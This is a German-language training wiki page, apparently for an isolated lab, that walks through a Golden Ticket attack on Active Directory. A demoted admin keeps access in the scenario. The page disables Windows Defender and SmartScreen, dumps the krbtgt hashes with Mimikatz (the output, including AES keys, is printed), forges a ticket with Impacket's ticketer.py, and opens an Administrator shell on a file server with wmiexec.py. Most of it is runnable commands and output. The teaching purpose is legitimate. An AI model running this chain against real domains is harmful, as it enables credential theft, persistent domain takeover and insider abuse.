Golden Ticket Hack – Szenario - Admin in neuer Abteilung

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Playbook: Golden Ticket – Chronologie mit Praxisdetails

Mike ist Domain Admin (Ausgangslage)

  • Konto: mike.der.trainer ist Mitglied von "Domain Admins"
  • Anmeldung direkt am Domain Controller (Windows Server 2022)

Sicherheits-Stack im Lab vorbereiten (nur isoliertes Lab)

  • Windows-Sicherheit öffnen → Viren- & Bedrohungsschutz → Echtzeitschutz temporär ausschalten (nach der Übung wieder ein).
  • App- & Browsersteuerung → Reputation-based protection/SmartScreen für Edge temporär ausschalten, falls der Download blockiert.
  • Windows-Firewall: Ausgehendes HTTPS muss erlaubt sein. Falls die Umgebung externe Downloads blockt, Datei offline/seitlich einschleusen.

Download/Transfer von Mimikatz

  • Quelle: Offizielles Repo des Autors (gentilkiwi) → Releases → Datei mimikatz_trunk.zip herunterladen.
  • Wenn der Browser auf dem DC blockiert:
    • Variante A: Kali lädt ZIP (wget/curl) und kopiert es per SMB in C$ auf den DC.
    • Variante B: ZIP per USB/seitlich ins Lab übertragen.

Terminal als Administrator starten

  • Startmenü → „Eingabeaufforderung“ → Rechtsklick → „Als Administrator ausführen“.

Entpacken und Start von Mimikatz

  • ZIP nach C:\Tools\mimikatz\ entpacken.
  • Nur die x64\mimikatz.exe verwenden.
  • In der erhöhten CMD:
 cd C:\Tools\mimikatz\x64

Mimikatz

C:\Users\mike.der.trainer\Downloads\mimikatz_trunk\x64>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : LAB / S-1-5-21-2568732214-3340552502-3895311276

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : b124216e1c62382331c5d7ea40c537cd
    LM   :
  Hash NTLM: b124216e1c62382331c5d7ea40c537cd
    ntlm- 0: b124216e1c62382331c5d7ea40c537cd
    lm  - 0: 8065089418852a31c0b2c874296bd7e3

 * WDigest
    01  4d271c6406aac98a13af557a3d196735
    02  6224fe17a65b4aff925f95f175b92640
    03  c51c201ebef4e4288645887bb2139a91
    04  4d271c6406aac98a13af557a3d196735
    05  6224fe17a65b4aff925f95f175b92640
    06  b6b7791567594644616dd9da6036c3f5
    07  4d271c6406aac98a13af557a3d196735
    08  139db0e5a581f7e00179402fae6895bc
    09  139db0e5a581f7e00179402fae6895bc
    10  09be0b2edc6232cafc96f774b4edb847
    11  dd06b93e5279b9074ef3de123c0befd9
    12  139db0e5a581f7e00179402fae6895bc
    13  c952ac059531c40e0d2a093391bdc691
    14  dd06b93e5279b9074ef3de123c0befd9
    15  533348b141d10e3555f63d270cc7d622
    16  533348b141d10e3555f63d270cc7d622
    17  4711cb2fcc81c2796a2eade676be68f3
    18  b8f5079ed30088cda19da37e818f1fc7
    19  82dd11437ceda4ad4a32571e377d0d27
    20  70b881d19aab76c105eb4f6bc39b5e3b
    21  7075668f69d06ee72090a53448d6ec2c
    22  7075668f69d06ee72090a53448d6ec2c
    23  dc35700c9f5bd96c11add26719c6a969
    24  3d5996f2930fa03b279fda37b905e833
    25  3d5996f2930fa03b279fda37b905e833
    26  3e54aeffad5d6ae684ca4e85e5d47332
    27  19db93444f05cc3fe785a0ad675b689e
    28  97b4246bc17f37a62f4e2a3dc0565baa
    29  ac012ba4783cf4ff6b3ada30a23b0e54

 * Kerberos
    Default Salt : LAB.INTkrbtgt
    Credentials
      des_cbc_md5       : fb9efe4c7cfe041f

 * Kerberos-Newer-Keys
    Default Salt : LAB.INTkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 08eeb9a005fa65af82d5e34f6fde068d3bb0968b34badb23a8d760455c4704a0
      aes128_hmac       (4096) : 86066eb14f0bea72a2346069b00d573c
      des_cbc_md5       (4096) : fb9efe4c7cfe041f

 * NTLM-Strong-NTOWF
    Random Value : b6995b87d0cbabb93612faabf9d06dfa

mimikatz # 

Story geht weiter

  • Mike wird in eine andere Abteilung versetzt und ihm werden Adminrechte entzogen
  • Er will wieder auf den DC und böse Dinge tun.
  • Variablen setzen
DOMAIN=lab.int
DOMAIN_UPPER=LAB.INT
DOMAIN_SID=S-1-5-21-2568732214-3340552502-3895311276
KRBTGT_AES256=08eeb9a005fa65af82d5e34f6fde068d3bb0968b34badb23a8d760455c4704a0


Kali vorbereiten für Kerberos/Golden Ticket

Pakete installieren

  • Basis Kerberos-Tools:
sudo apt install -y krb5-user
  • Zeit-Synchronisation:
sudo apt install -y ntpsec-ntpdate systemd-timesyncd
  • Impacket-Tools:
sudo apt install -y python3-impacket impacket-scripts

Funktionen

  • krb5-user → kinit, klist, kdestroy
  • ntpsec-ntpdate → einmalige Zeitkorrektur mit DC
  • systemd-timesyncd → dauerhafte Zeitsynchronisation
  • python3-impacket/impacket-scripts → ticketer.py, getST.py, smbclient.py, wmiexec.py, psexec.py

Prüfung

  • klist → zeigt Ticket-Cache
  • kinit → manuell Ticket holen (wenn gewünscht)
  • ntpdate -u win2022.lab.int → Zeit vom DC übernehmen
  • timedatectl status → muss „System clock synchronized: yes“ zeigen
  • ticketer.py -h → Hilfe für Golden-Ticket-Erstellung

Hosts eintragen

 echo "192.168.178.2 win2022.lab.int" | sudo tee -a /etc/hosts
 echo "192.168.178.3 fs2022.lab.int" | sudo tee -a /etc/hosts

Golden Ticket für Administrator erstellen

  • WICHTIG: Mit -old-pac Option:
 python3 /usr/share/doc/python3-impacket/examples/ticketer.py \
   -old-pac -aesKey $KRBTGT_AES256 -domain-sid $DOMAIN_SID -domain $DOMAIN_UPPER Administrator

Ticket einsetzen

  • Kerberos-Cache setzen:
 export KRB5CCNAME=$PWD/Administrator.ccache
checken
klist
Ticket cache: FILE:/home/kit/Administrator.ccache
Default principal: Administrator@LAB.INT

Valid starting       Expires              Service principal
08/26/2025 18:23:29  08/24/2035 18:23:29  krbtgt/LAB.INT@LAB.INT
	renew until 08/24/2035 18:23:29

Service Ticket für File Server anfordern

  • Service Ticket für CIFS erstellen:
 python3 /usr/share/doc/python3-impacket/examples/getST.py \
   -no-pass -k -dc-ip 192.168.178.2 -spn cifs/fs2022.lab.int LAB.INT/Administrator

Neuen Cache setzen

  • Service Ticket verwenden:
 export KRB5CCNAME=$PWD/Administrator@cifs_fs2022.lab.int@LAB.INT.ccache

Zugriff auf File Server

  • WMIEXEC für vollständigen Zugriff:
 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass \
 -target-ip 192.168.178.3 LAB.INT/Administrator@fs2022.lab.int

 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
lab.int\administrator
C:\>

Erfolgsbestätigung

  • Sie erhalten eine interactive Shell als Administrator auf fs2022.lab.int
  • Befehle wie whoami, hostname, ipconfig funktionieren

Wichtigste Punkte

  • NUR mit -old-pac Option arbeiten
  • Immer Administrator-User für maximale Rechte
  • Export KRB5CCNAME nach JEDER Ticket-Erstellung setzen
  • Richtige IPs: DC=192.168.178.2, FS=192.168.178.3